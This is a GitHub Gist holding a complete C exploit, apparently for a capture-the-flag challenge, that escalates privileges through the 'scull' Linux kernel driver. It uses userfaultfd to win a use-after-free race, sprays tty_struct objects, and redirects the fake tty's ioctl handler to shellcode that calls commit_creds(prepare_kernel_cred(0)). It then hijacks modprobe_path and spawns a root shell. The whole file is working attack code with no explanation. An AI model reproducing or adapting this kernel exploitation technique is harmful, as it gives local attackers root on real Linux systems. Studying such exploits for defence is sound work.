Last active
January 2, 2021 10:47
-
-
Save A2nkF/4f477801a9b12790ce0d0279d1f26033 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <pty.h> | |
#include <poll.h> | |
#include <sched.h> | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <errno.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <assert.h> | |
#include <unistd.h> | |
#include <signal.h> | |
#include <sys/msg.h> | |
#include <syscall.h> | |
#include <sys/ipc.h> | |
#include <pthread.h> | |
#include <sys/sem.h> | |
#include <sys/stat.h> | |
#include <sys/mman.h> | |
#include <sys/ioctl.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <linux/userfaultfd.h> | |
#include "scull.h" | |
/* --- constants --- */ | |
#define DEBUG 1 | |
#define SPRAY_ALLOC_TIMES 0x5 | |
#define OBJECT_SIZE 0x20 | |
#define PAGE_SIZE 0x1000 | |
#define TIOCMGET 0x5416 | |
#define TTY_MAGIC 0x5401 | |
#define USERSPACE 0x1337000 | |
#define REGION 0xA11E5000 | |
#define DEV_PATH "/dev/scull" | |
/* --- structs and types --- */ | |
typedef long func(long arg); | |
typedef struct { | |
int ufd; | |
void *ufd_addr; | |
void *userspace; | |
void (*callback)(void *config); | |
int spray_fd[SPRAY_ALLOC_TIMES]; | |
} ctx_t; | |
/* --- protos --- */ | |
long shellcode(void); | |
void magic(ctx_t *config); | |
void prepare_exploit(void); | |
int userfaultfd(int flags); | |
void scull_shift(int count); | |
static void scull_trim(void); | |
void scull_set_qset(int count); | |
void initialize_ufd(ctx_t *config); | |
void scull_set_quantum(int count); | |
void page_fault_handler(ctx_t *config); | |
/* --- scull helper functions --- */ | |
static void scull_trim(void) { | |
int scullFD = open(DEV_PATH, O_WRONLY); | |
if (DEBUG) { | |
printf("[DEBUG] scull_trim()\n"); | |
} | |
usleep(100); | |
close(scullFD); | |
} | |
void scull_shift(int count) { | |
int scullFD = open("/dev/scull", O_RDWR); | |
if (DEBUG) { | |
printf("[DEBUG] scull_shift(%d)\n", count); | |
} | |
int rc = ioctl(scullFD, SCULL_IOCSHIFT, count); | |
if (rc != 0) { | |
fprintf(stderr, "scull_shift(%d) rc=%d errno=%d: %s\n", count, rc, errno, strerror(errno)); | |
exit(1); | |
} | |
usleep(100); | |
close(scullFD); | |
} | |
void scull_set_quantum(int count) { | |
int scullFD = open("/dev/scull", O_RDWR); | |
if (DEBUG) { | |
printf("[DEBUG] scull_set_quantum(%d)\n", count); | |
} | |
int rc = ioctl(scullFD, SCULL_IOCTQUANTUM, count); | |
if (rc != 0) { | |
fprintf(stderr, "[-] scull_set_quantum(%d) rc=%d errno=%d: %s\n", count, rc, errno, strerror(errno)); | |
exit(1); | |
} | |
scull_trim(); | |
usleep(100); | |
close(scullFD); | |
} | |
void scull_set_qset(int count) { | |
int scullFD = open("/dev/scull", O_RDWR); | |
if (DEBUG) { | |
printf("[DEBUG] scull_set_qset(%d)\n", count); | |
} | |
int rc = ioctl(scullFD, SCULL_IOCTQSET, count); | |
if (rc != 0) { | |
fprintf(stderr, "[-] scull_set_qset(%d) rc=%d errno=%d: %s\n", count, rc, errno, strerror(errno)); | |
exit(1); | |
} | |
scull_trim(); | |
usleep(100); | |
close(scullFD); | |
} | |
/* --- userfaultfd stuff--- */ | |
int userfaultfd(int flags) { | |
return syscall(SYS_userfaultfd, flags); | |
} | |
void initialize_ufd(ctx_t *config) { | |
int fd; | |
printf("[*] Lazy mapping region: 0x%llx\n", config->ufd_addr); | |
void *page = mmap(config->ufd_addr, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); | |
assert((uint64_t)page == config->ufd_addr); | |
struct uffdio_register reg; | |
if ((fd = userfaultfd(O_NONBLOCK)) == -1) { | |
perror("[ERROR] Userfaultfd failed"); | |
exit(-1); | |
} | |
struct uffdio_api api = { .api = UFFD_API }; | |
if (ioctl(fd, UFFDIO_API, &api)) { | |
perror("[ERROR] ioctl - UFFDIO_API failed"); | |
exit(-1); | |
} | |
if (api.api != UFFD_API) { | |
puts("[ERROR] Unexepcted UFFD api version!"); | |
exit(-1); | |
} | |
reg.mode = UFFDIO_REGISTER_MODE_MISSING; | |
reg.range.start = (long)(page); | |
reg.range.len = PAGE_SIZE; | |
if (ioctl(fd, UFFDIO_REGISTER, ®)) { | |
perror("[ERROR] ioctl - UFFDIO_REGISTER failed"); | |
exit(-1); | |
} | |
printf("[+] We're monitoring #PFs at %p - %p now!\n", page, page + PAGE_SIZE); | |
config->ufd = fd; | |
return; | |
} | |
void page_fault_handler(ctx_t *config) { | |
struct pollfd pollfd; | |
struct uffd_msg fault_msg; | |
struct uffdio_copy ufd_copy; | |
int ufd = config->ufd; | |
pollfd.fd = ufd; | |
pollfd.events = POLLIN; | |
while (poll(&pollfd, 1, -1) > 0) { | |
if ((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP)) { | |
perror("[ERROR] Polling failed"); | |
exit(-1); | |
} | |
if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) { | |
perror("[ERROR] Read - fault_msg failed"); | |
exit(-1); | |
} | |
char *page_fault_location = (char *)fault_msg.arg.pagefault.address; | |
if (fault_msg.event != UFFD_EVENT_PAGEFAULT || (page_fault_location != config->ufd_addr && page_fault_location != config->ufd_addr + PAGE_SIZE)) { | |
perror("[ERROR] Unexpected pagefault?"); | |
exit(-1); | |
} | |
if (page_fault_location == config->ufd_addr) { | |
printf("[+] Cought #PF at address %p!\n", page_fault_location); | |
// Now the magic | |
config->callback(config); | |
puts("[~] Serving page with fake tty..."); | |
long tty_file_private[] = { | |
config->userspace, | |
0x4141414141414141, | |
0x4242424242424242, | |
0x4343434343434343, | |
0x6666666666666666, | |
0x7777777777777777, | |
0x8888888888888888, | |
}; | |
ufd_copy.dst = config->ufd_addr; | |
ufd_copy.src = (unsigned long)(&tty_file_private); | |
ufd_copy.len = PAGE_SIZE; | |
ufd_copy.mode = 0; | |
ufd_copy.copy = 0; | |
puts("[~] And back to kernel space..."); | |
if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0) { | |
perror("[ERROR] ioctl(UFFDIO_COPY)"); | |
exit(-1); | |
} | |
return; | |
} | |
} | |
} | |
/* --- This is where the magic happens --- */ | |
long shellcode() { | |
// Get root | |
// long ret = __builtin_return_address(0); | |
func* prepare_kernel_cred = (func*)(0xffffffff810c3bd0); | |
func* commit_creds = (func*)(0xffffffff810c3860); | |
commit_creds(prepare_kernel_cred(0)); | |
// Prepare stable code execution | |
char *modprobe_path = 0xffffffff82660160; | |
char handler[] = "/bin/exploit"; | |
memcpy(modprobe_path, handler, sizeof(handler)); | |
// return anything other than -ENOIOCTLCMD(-515) | |
return 0x1337; | |
} | |
void prepare_exploit() { | |
if (!getuid()){ | |
printf("[+] Modproble handler got called! Shell incoming..."); | |
system("/bin/bash"); | |
} else { | |
printf("[~] Binding to CPU 0...\n"); | |
cpu_set_t aff; | |
CPU_ZERO(&aff); | |
CPU_SET(0, &aff); | |
int setaffinity_ret = sched_setaffinity(0, sizeof(cpu_set_t), &aff); | |
assert(setaffinity_ret == 0); | |
} | |
return; | |
} | |
void setup_userspace(ctx_t *config) { | |
printf("[~] Mapping page at 0x%lx\n", config->userspace); | |
volatile char* page = mmap(config->userspace, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); | |
if (page == MAP_FAILED) { | |
perror("[ERROR] mmap"); | |
exit(-1); | |
} | |
long tty[] = { | |
TTY_MAGIC, | |
0x61616161, | |
config->userspace + 0x100, | |
config->userspace + 0x200, | |
0xdead4000, | |
0xdead5000, | |
0xdead6000, | |
0xdead7000, | |
0xdead8000, | |
0xdead9000, | |
0xdeada000, | |
config->userspace + 0x300, | |
0xdeadc000, | |
0xdeadd000, | |
0xdeade000, | |
0xdeadf000, | |
}; | |
long tty_ops[] = { | |
0x4444444444444441, | |
0x4444444444444442, | |
0x4444444444444443, | |
0x4444444444444444, | |
0x4444444444444445, | |
0x4444444444444446, | |
0x4444444444444447, | |
0x4444444444444448, | |
0x4444444444444449, | |
0x4444444444444449, | |
0x444444444444444a, | |
0x5555555555555551, | |
shellcode, // tty->ops->ioctl(tty, cmd, arg) | |
0x5555555555555553, | |
0x5555555555555554, | |
0x5555555555555555, | |
0x5555555555555556, | |
0x5555555555555557, | |
0x5555555555555558, | |
0x5555555555555559, | |
0x5555555555555559, | |
0x555555555555555a, | |
0x6666666666666661, | |
0x6666666666666662, | |
0x6666666666666663, | |
0x6666666666666664, | |
0x6666666666666665, | |
0x6666666666666666, | |
0x6666666666666667, | |
0x6666666666666668, | |
0x6666666666666669, | |
0x6666666666666669, | |
0x666666666666666a, | |
}; | |
memcpy(config->userspace, tty, sizeof(tty)); | |
memcpy(config->userspace+0x200, tty_ops, sizeof(tty)); | |
memcpy(config->userspace+0x300, tty_ops, sizeof(tty)); | |
puts("[+] Wrote fake tty_struct!"); | |
} | |
void magic(ctx_t *config) { | |
puts("[*] Callback got hit!"); | |
// Free it! | |
scull_trim(); | |
// Now spray! | |
puts("[~] Spraying TTYs..."); | |
for (int i = 0; i < SPRAY_ALLOC_TIMES; i++) { | |
config->spray_fd[i] = open("/dev/tty", O_RDWR | O_NOCTTY); | |
if (config->spray_fd[i] < 0) { | |
perror("open tty"); | |
} | |
} | |
return; | |
} | |
int main(int argc, char *argv[]) { | |
int device = -1; | |
ctx_t config = {0}; | |
pthread_t tid = -1; | |
config.ufd_addr = REGION; | |
config.callback = magic; | |
config.userspace = USERSPACE; | |
prepare_exploit(); | |
setup_userspace(&config); | |
puts("[+] Userspace setup done! Starting exploit..."); | |
device = open(DEV_PATH, O_RDWR); | |
scull_set_quantum(OBJECT_SIZE); | |
scull_set_qset(0x2); | |
puts("[~] Preparing userfaultfd..."); | |
initialize_ufd(&config); | |
puts("[~] Spawning page fault handler thread..."); | |
pthread_create(&tid, NULL, page_fault_handler, &config); | |
puts("[~] This should pagefault... "); | |
write(device, (void *)config.ufd_addr, 0x20); | |
puts("[+] After #PF now, triggering call! "); | |
for (int i = 0; i < SPRAY_ALLOC_TIMES; i += 1) { | |
ioctl(config.spray_fd[i], 0xcafebabe, 0xfeedbeef); | |
} | |
pthread_join(tid, NULL); | |
setuid(0); | |
if (!getuid()) { | |
puts("[+] Userspace shellcode says hi!"); | |
printf("[!] We are root! Flag: "); | |
fflush(stdout); | |
usleep(1000); | |
system("cat /flag"); | |
puts("[+] Getting stable Code execution! modprobe_handler has been hooked!"); | |
system("echo -ne '\xA7\x77\x77\xE5' > /corrupt && chmod +x /corrupt"); | |
puts("[+] Corrupted file! Getting shell now..."); | |
system("/corrupt"); | |
} else { | |
puts("[ERROR] this shouldn't happen... Panic :D"); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment